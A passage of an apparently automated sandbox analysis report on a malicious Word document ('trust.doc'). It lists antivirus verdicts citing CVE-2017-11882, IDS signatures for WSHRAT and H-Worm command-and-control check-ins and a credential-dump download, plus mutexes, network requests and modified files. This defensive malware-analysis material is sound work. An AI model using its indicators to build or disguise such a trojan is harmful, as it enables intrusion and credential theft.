x1fb\\x1c\\xbb\\xec\\x14<;m\\xb4\\xc8g\\xb2\\x14\\xd8(\\xdd\\x99m\\xdf\\x00\\x05\\x02u\\x01v\\xfe\\xe55)a\\xc0u\\xec\tp\\xea_\\xfcq\\xb6\\x8f\\x01\\xa9\\xab\\xd3\\xcey\\xa8 \\x19o\\xa8c*\\x86e\\xbe\\x7ff\\xfa\\xa8.\\xa38t\\x89w=p\\x9ae\\xb4o7\\xad\\xe4\\xda\\x99h\\xe2"
  812. },
  813. {
  814. "http_request": "winword.exe_WSASend_get /pki/crl/products/microsoftrootcert.crl http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nif-modified-since: thu, 07 mar 2019 06:00:16 gmt\r\nuser-agent: microsoft-cryptoapi/6.1\r\nhost: crl.microsoft.com\r\n\r\n"
  815. }
  816. ]
  817. },
  818. {
  819. "Description": "File has been identified by 29 Antiviruses on VirusTotal as malicious",
  820. "Details": [
  821. {
  822. "MicroWorld-eScan": "Exploit.RTF-ObfsStrm.Gen"
  823. },
  824. {
  825. "FireEye": "Exploit.RTF-ObfsStrm.Gen"
  826. },
  827. {
  828. "CAT-QuickHeal": "Exp.RTF.Obfus.Gen"
  829. },
  830. {
  831. "Arcabit": "Exploit.RTF-ObfsStrm.Gen"
  832. },
  833. {
  834. "Symantec": "Bloodhound.RTF.12"
  835. },
  836. {
  837. "ESET-NOD32": "probably a variant of Win32/Exploit.CVE-2017-11882.A"
  838. },
  839. {
  840. "Kaspersky": "HEUR:Exploit.MSOffice.Generic"
  841. },
  842. {
  843. "BitDefender": "Exploit.RTF-ObfsStrm.Gen"
  844. },
  845. {
  846. "Ad-Aware": "Exploit.RTF-ObfsStrm.Gen"
  847. },
  848. {
  849. "Emsisoft": "Exploit.RTF-ObfsStrm.Gen (B)"
  850. },
  851. {
  852. "Comodo": "Exploit.W97M.CVE2017-11882.AG@843jmy"
  853. },
  854. {
  855. "F-Secure": "Heuristic.HEUR/Rtf.Malformed"
  856. },
  857. {
  858. "DrWeb": "Exploit.Rtf.CVE2012-0158"
  859. },
  860. {
  861. "McAfee-GW-Edition": "Exploit-CVE2017-11882.ah"
  862. },
  863. {
  864. "Sophos": "Exp/201711882-P"
  865. },
  866. {
  867. "Ikarus": "Exploit.CVE-2017-11882"
  868. },
  869. {
  870. "Cyren": "CVE-2017-11882!Camelot"
  871. },
  872. {
  873. "Avira": "HEUR/Rtf.Malformed"
  874. },
  875. {
  876. "Antiy-AVL": "Trojan[Exploit]/OLE.CVE-2017-11882"
  877. },
  878. {
  879. "Microsoft": "Exploit:O97M/CVE-2017-11882.T"
  880. },
  881. {
  882. "ZoneAlarm": "HEUR:Exploit.RTF.CVE-2017-11882.gen"
  883. },
  884. {
  885. "GData": "Exploit.RTF-ObfsStrm.Gen"
  886. },
  887. {
  888. "AhnLab-V3": "RTF/Malform-C.Gen"
  889. },
  890. {
  891. "McAfee": "Exploit-CVE2017-11882.ah"
  892. },
  893. {
  894. "TACHYON": "Trojan-Exploit/RTF.CVE-2017-11882"
  895. },
  896. {
  897. "Zoner": "Probably RTFObfuscation"
  898. },
  899. {
  900. "Rising": "Exploit.CVE-2017-11882/SLT!1.AEE3 (CLASSIC)"
  901. },
  902. {
  903. "MAX": "malware (ai score=85)"
  904. },
  905. {
  906. "Qihoo-360": "susp.rtf.objupdate.gen"
  907. }
  908. ]
  909. },
  910. {
  911. "Description": "Created network traffic indicative of malicious activity",
  912. "Details": [
  913. {
  914. "signature": "ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm Checkin 1"
  915. },
  916. {
  917. "signature": "ET TROJAN WSHRAT CnC Checkin"
  918. },
  919. {
  920. "signature": "ET TROJAN WSHRAT Credential Dump Module Download Command Inbound"
  921. }
  922. ]
  923. }
  924. ]
  925.  
  926. [*] Started Service: [
  927. "osppsvc"
  928. ]
  929.  
  930. [*] Executed Commands: []
  931.  
  932. [*] Mutexes: [
  933. "Global\\MTX_MSO_Formal1_S-1-5-21-0000000000-0000000000-0000000000-1000",
  934. "Global\\MTX_MSO_AdHoc1_S-1-5-21-0000000000-0000000000-0000000000-1000",
  935. "5CAC3FAB-87F0-4750-984D-D50144543427-VER15",
  936. "CicLoadWinStaWinSta0",
  937. "Local\\MSCTF.CtfMonitorInstMutexDefault1",
  938. "Global\\MsoShellExtRegAccess_S-1-5-21-0000000000-0000000000-0000000000-1000",
  939. "Global\\552FFA80-3393-423d-8671-7BA046BB5906",
  940. "Local\\{F99C425F-9135-43ed-BD7D-396DE488DC53}"
  941. ]
  942.  
  943. [*] Modified Files: [
  944. "C:\\Users\\user\\AppData\\Local\\Temp\\trust.doc",
  945. "C:\\Users\\user\\AppData\\Local\\Temp\\~$trust.doc",
  946. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRF{6F190FE9-35B9-483A-A477-B10C7797842F}.tmp",
  947. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{062EA458-9646-4285-96B4-0EA339D50B48}.tmp",
  948. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{CAC7794D-6EF3-498D-9CBA-9DDEE00936E6}.tmp",
  949. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\6BADA8974A10C4BD62CC921D13E43B18_88614FFAD35D353421B8A7E1FE18FCE4",
  950. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\6BADA8974A10C4BD62CC921D13E43B18_88614FFAD35D353421B8A7E1FE18FCE4",
  951. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\37D958F0157C4E87D39A5E7FAB3AECCC_090773D7F9DBE1D85BCB60985361F32E",
  952. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\37D958F0157C4E87D39A5E7FAB3AECCC_090773D7F9DBE1D85BCB60985361F32E",
  953. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab1786.tmp",
  954. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar1787.tmp",
  955. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC",
  956. "C:\\Users\\user\\AppData\\Local\\Temp\\cabA580.tmp",
  957. "C:\\Users\\user\\AppData\\Local\\Temp\\cabB82E.tmp",
  958. "C:\\Users\\user\\AppData\\Local\\Temp\\cabB82F.tmp",
  959. "C:\\Users\\user\\AppData\\Local\\Temp\\cabB8FB.tmp",
  960. "C:\\Users\\user\\AppData\\Local\\Temp\\cabB91C.tmp",
  961. "C:\\Users\\user\\AppData\\Local\\Temp\\cabBC49.tmp",
  962. "C:\\Users\\user\\AppData\\Local\\Temp\\cabBC4A.tmp",
  963. "C:\\Users\\user\\AppData\\Local\\Temp\\cabBC5C.tmp",
  964. "C:\\Users\\user\\AppData\\Local\\Temp\\cabBC5E.tmp",
  965. "C:\\Users\\user\\AppData\\Local\\Temp\\cabBC5B.tmp",
  966. "C:\\Users\\user\\AppData\\Local\\Temp\\cabBC6E.tmp",
  967. "C:\\Users\\user\\AppData\\Local\\Temp\\cabBC5D.tmp",
  968. "C:\\Users\\user\\AppData\\Local\\Temp\\cabBCA2.tmp",
  969. "C:\\Users\\user\\AppData\\Local\\Temp\\cabBCA1.tmp",
  970. "C:\\Users\\user\\AppData\\Local\\Temp\\cabBC6F.tmp",
  971. "C:\\Users\\user\\AppData\\Local\\Temp\\cabBCA0.tmp",
  972. "C:\\Users\\user\\AppData\\Local\\Temp\\cabBCB3.tmp",
  973. "C:\\Users\\user\\AppData\\Local\\Temp\\cabBC9F.tmp",
  974. "C:\\Users\\user\\AppData\\Local\\Temp\\cabBE5B.tmp",
  975. "C:\\Users\\user\\AppData\\Local\\Temp\\cabBF65.tmp",
  976. "C:\\Users\\user\\AppData\\Local\\Temp\\cabBCB4.tmp",
  977. "C:\\Users\\user\\AppData\\Local\\Temp\\cabBF77.tmp",
  978. "C:\\Users\\user\\AppData\\Local\\Temp\\cabBF66.tmp",
  979. "C:\\Users\\user\\AppData\\Local\\Temp\\cabC053.tmp",
  980. "C:\\Users\\user\\AppData\\Local\\Temp\\cabC141.tmp",
  981. "C:\\Users\\user\\AppData\\Local\\Temp\\cabC054.tmp",
  982. "C:\\Users\\user\\AppData\\Local\\Temp\\cabC055.tmp",
  983. "C:\\Users\\user\\AppData\\Local\\Temp\\cabC140.tmp",
  984. "C:\\Users\\user\\AppData\\Local\\Temp\\cabC1EE.tmp",
  985. "C:\\Users\\user\\AppData\\Local\\Temp\\cabC1EF.tmp",
  986. "C:\\Users\\user\\AppData\\Local\\Temp\\cabC200.tmp",
  987. "C:\\Users\\user\\AppData\\Local\\Temp\\cabC2FB.tmp",
  988. "C:\\Users\\user\\AppData\\Local\\Temp\\cabC53E.tmp",
  989. "C:\\Users\\user\\AppData\\Local\\Temp\\cabC792.tmp",
  990. "C:\\Users\\user\\AppData\\Local\\Temp\\cabC810.tmp",
  991. "C:\\Users\\user\\AppData\\Local\\Temp\\cabC781.tmp",
  992. "C:\\Users\\user\\AppData\\Local\\Temp\\cabC9D6.tmp",
  993. "C:\\Users\\user\\AppData\\Local\\Temp\\cabED8B.tmp",
  994. "C:\\Users\\user\\AppData\\Local\\Temp\\cabFA5E.tmp",
  995. "C:\\Users\\user\\AppData\\Local\\Temp\\cabFB0A.tmp",
  996. "C:\\Users\\user\\AppData\\Local\\Temp\\cab81B.tmp",
  997. "C:\\Users\\user\\AppData\\Local\\Temp\\cab11A2.tmp",
  998. "C:\\Users\\user\\AppData\\Local\\Temp\\cab11B2.tmp",
  999. "C:\\Users\\user\\AppData\\Local\\Temp\\cab1686.tmp",
  1000. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\696F3DE637E6DE85B458996D49D759AD",
  1001. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\696F3DE637E6DE85B458996D49D759AD",
  1002. "C:\\Users\\user\\AppData\\Local\\Temp\\cab1CEF.tmp",
  1003. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7396C420A8E1BC1DA97F1AF0D10BAD21",
  1004. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7396C420A8E1BC1DA97F1AF0D10BAD21",
  1005. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab2443.tmp",
  1006. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar2444.tmp",
  1007. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\F90F18257CBB4D84216AC1E1F3BB2C76",
  1008. "C:\\Users\\user\\AppData\\Local\\Temp\\cab2A7F.tmp",
  1009. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\F90F18257CBB4D84216AC1E1F3BB2C76",
  1010. "C:\\Users\\user\\AppData\\Local\\Temp\\cab2D8D.tmp",
  1011. "C:\\Users\\user\\AppData\\Local\\Temp\\cab46E5.tmp",
  1012. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD46E4.tmp\\chicago.xsl",
  1013. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD46E3.tmp\\APASixthEditionOfficeOnline.xsl",
  1014. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD54C1.tmp\\turabian.xsl",
  1015. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5648.tmp\\iso690nmerical.xsl",
  1016. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD663E.tmp\\Banded.thmx",
  1017. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD663D.tmp\\Basis.thmx",
  1018. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5C94.tmp\\iso690.xsl",
  1019. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD663C.tmp\\TabList.glox",
  1020. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5C73.tmp\\CircleProcess.glox",
  1021. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD6913.tmp\\content.inf",
  1022. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD663C.tmp\\Content.inf",
  1023. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD637B.tmp\\Badge.thmx",
  1024. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD6C15.tmp\\harvardanglia2008officeonline.xsl",
  1025. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD68B3.tmp\\gosttitle.xsl",
  1026. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD54C1.tmp\\Content.inf",
  1027. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD6913.tmp\\Parallax.thmx",
  1028. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5C73.tmp\\Content.inf",
  1029. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5CA4.tmp\\content.inf",
  1030. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5648.tmp\\Content.inf",
  1031. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD637C.tmp\\content.inf",
  1032. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD6902.tmp\\InterconnectedBlockProcess.glox",
  1033. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD46E4.tmp\\Content.inf",
  1034. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD6814.tmp\\gb.xsl",
  1035. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD6A10.tmp\\RadialPictureList.glox",
  1036. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD68A2.tmp\\Crop.thmx",
  1037. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD6A10.tmp\\Content.inf",
  1038. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5C94.tmp\\Content.inf",
  1039. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5CA4.tmp\\Metropolitan.thmx",
  1040. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD6FC0.tmp\\chevronaccent.glox",
  1041. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD663D.tmp\\content.inf",
  1042. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD68B2.tmp\\HexagonRadial.glox",
  1043. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD6914.tmp\\gostname.xsl",
  1044. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD68B3.tmp\\Content.inf",
  1045. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD6DDB.tmp\\Text Sidebar (Annual Report Red and Black design).docx",
  1046. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD6902.tmp\\Content.inf",
  1047. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD46E3.tmp\\Content.inf",
  1048. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD637C.tmp\\View.thmx",
  1049. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD762E.tmp\\sist02.xsl",
  1050. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD68B2.tmp\\Content.inf",
  1051. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD69FF.tmp\\ThemePictureGrid.glox",
  1052. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD74C3.tmp\\PictureFrame.glox",
  1053. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD6FC0.tmp\\Content.inf",
  1054. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD6814.tmp\\Content.inf",
  1055. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD663E.tmp\\content.inf",
  1056. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD7758.tmp\\architecture.glox",
  1057. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD74A3.tmp\\Element design set.dotx",
  1058. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD6C15.tmp\\Content.inf",
  1059. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD7542.tmp\\ieee2006officeonline.xsl",
  1060. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD6DDB.tmp\\Content.inf",
  1061. "C:\\Users\\user\\AppData\\Local\\Temp\\cab7D39.tmp",
  1062. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD7758.tmp\\Content.inf",
  1063. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD795C.tmp\\Berlin.thmx",
  1064. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD7A28.tmp\\Headlines.thmx",
  1065. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD6914.tmp\\Content.inf",
  1066. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD7532.tmp\\BracketList.glox",
  1067. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD762E.tmp\\Content.inf",
  1068. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD68A2.tmp\\Content.inf",
  1069. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD69FF.tmp\\Content.inf",
  1070. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD74C3.tmp\\Content.inf",
  1071. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD7D3A.tmp\\mlaseventheditionofficeonline.xsl",
  1072. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD74A3.tmp\\Content.inf",
  1073. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD637B.tmp\\Content.inf",
  1074. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD7532.tmp\\Content.inf",
  1075. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD7D18.tmp\\content.inf",
  1076. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD7C9A.tmp\\ThemePictureAccent.glox",
  1077. "C:\\Users\\user\\AppData\\Local\\Temp\\cab831D.tmp",
  1078. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD8086.tmp\\pictureorgchart.glox",
  1079. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD7542.tmp\\Content.inf",
  1080. "C:\\Users\\user\\AppData\\Local\\Temp\\cab83D9.tmp",
  1081. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD81C2.tmp\\content.inf",
  1082. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD8097.tmp\\content.inf",
  1083. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851226[[fn=turabian]].xsl",
  1084. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD81F2.tmp\\content.inf",
  1085. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD8086.tmp\\Content.inf",
  1086. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD7D18.tmp\\Savon.thmx",
  1087. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD7D3A.tmp\\Content.inf",
  1088. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD80B7.tmp\\TabbedArc.glox",
  1089. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD7C9A.tmp\\Content.inf",
  1090. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328940[[fn=Radial Picture List]].glox",
  1091. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328908[[fn=Circle Process]].glox",
  1092. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD81F2.tmp\\Dividend.thmx",
  1093. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD80B7.tmp\\Content.inf",
  1094. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD8097.tmp\\Wood_Type.thmx",
  1095. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD81C2.tmp\\Quotable.thmx",
  1096. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD8231.tmp\\ThemePictureAlternatingAccent.glox",
  1097. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD861C.tmp\\content.inf",
  1098. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328972[[fn=Tab List]].glox",
  1099. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851217[[fn=chicago]].xsl",
  1100. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\~$Normal.dotm",
  1101. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328925[[fn=Interconnected Block Process]].glox",
  1102. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851224[[fn=iso690nmerical]].xsl",
  1103. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD861C.tmp\\Frame.thmx",
  1104. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD890B.tmp\\ConvergingText.glox",
  1105. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD795C.tmp\\content.inf",
  1106. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD8231.tmp\\Content.inf",
  1107. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851223[[fn=iso690]].xsl",
  1108. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8F96.tmp",
  1109. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{F9BB4CA1-0346-4D25-B38D-6357D9938252}.tmp",
  1110. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851219[[fn=gostname]].xsl",
  1111. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328905[[fn=Chevron Accent]].glox",
  1112. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328884[[fn=architecture]].glox",
  1113. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328919[[fn=Hexagon Radial]].glox",
  1114. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851220[[fn=gosttitle]].xsl",
  1115. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD8999.tmp\\Equations.dotx",
  1116. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851216[[fn=apasixtheditionofficeonline]].xsl",
  1117. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457444[[fn=Basis]].thmx",
  1118. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851221[[fn=harvardanglia2008officeonline]].xsl",
  1119. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD890B.tmp\\Content.inf",
  1120. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328932[[fn=Picture Frame]].glox",
  1121. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Building Blocks\\1033\\TM02835233[[fn=Text Sidebar (Annual Report Red and Black design)]].docx",
  1122. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457496[[fn=Parallax]].thmx",
  1123. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD8F47.tmp\\Circuit.thmx",
  1124. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM10001105[[fn=Crop]].thmx",
  1125. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03090430[[fn=Banded]].thmx",
  1126. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457491[[fn=Metropolitan]].thmx",
  1127. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457515[[fn=View]].thmx",
  1128. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Building Blocks\\1033\\TM03998158[[fn=Element]].dotx",
  1129. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851218[[fn=gb]].xsl",
  1130. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328893[[fn=BracketList]].glox",
  1131. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851222[[fn=ieee2006officeonline]].xsl",
  1132. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD962F.tmp\\content.inf",
  1133. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851227[[fn=sist02]].xsl",
  1134. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328986[[fn=Theme Picture Grid]].glox",
  1135. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328935[[fn=Picture Organization Chart]].glox",
  1136. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD962F.tmp\\Droplet.thmx",
  1137. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM10001106[[fn=Badge]].thmx",
  1138. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD96BC.tmp\\content.inf",
  1139. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328975[[fn=Theme Picture Accent]].glox",
  1140. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457464[[fn=Dividend]].thmx",
  1141. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328951[[fn=Tabbed Arc]].glox",
  1142. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM10001103[[fn=Headlines]].thmx",
  1143. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851225[[fn=mlaseventheditionofficeonline]].xsl",
  1144. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD96BC.tmp\\Damask.thmx",
  1145. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033917[[fn=Berlin]].thmx",
  1146. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328983[[fn=Theme Picture Alternating Accent]].glox",
  1147. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Building Blocks\\1033\\TM01840907[[fn=Equations]].dotx",
  1148. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9C1C.tmp",
  1149. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328916[[fn=Converging Text]].glox",
  1150. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD8F47.tmp\\content.inf",
  1151. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9C2D.tmp\\content.inf",
  1152. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9C2D.tmp\\Slate.thmx",
  1153. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9CBB.tmp\\Feathered.thmx",
  1154. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457475[[fn=Frame]].thmx",
  1155. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457510[[fn=Savon]].thmx",
  1156. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9D87.tmp\\content.inf",
  1157. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9D87.tmp\\Main_Event.thmx",
  1158. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457503[[fn=Quotable]].thmx",
  1159. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03090434[[fn=Wood Type]].thmx",
  1160. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA047.tmp\\content.inf",
  1161. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA047.tmp\\Mesh.thmx",
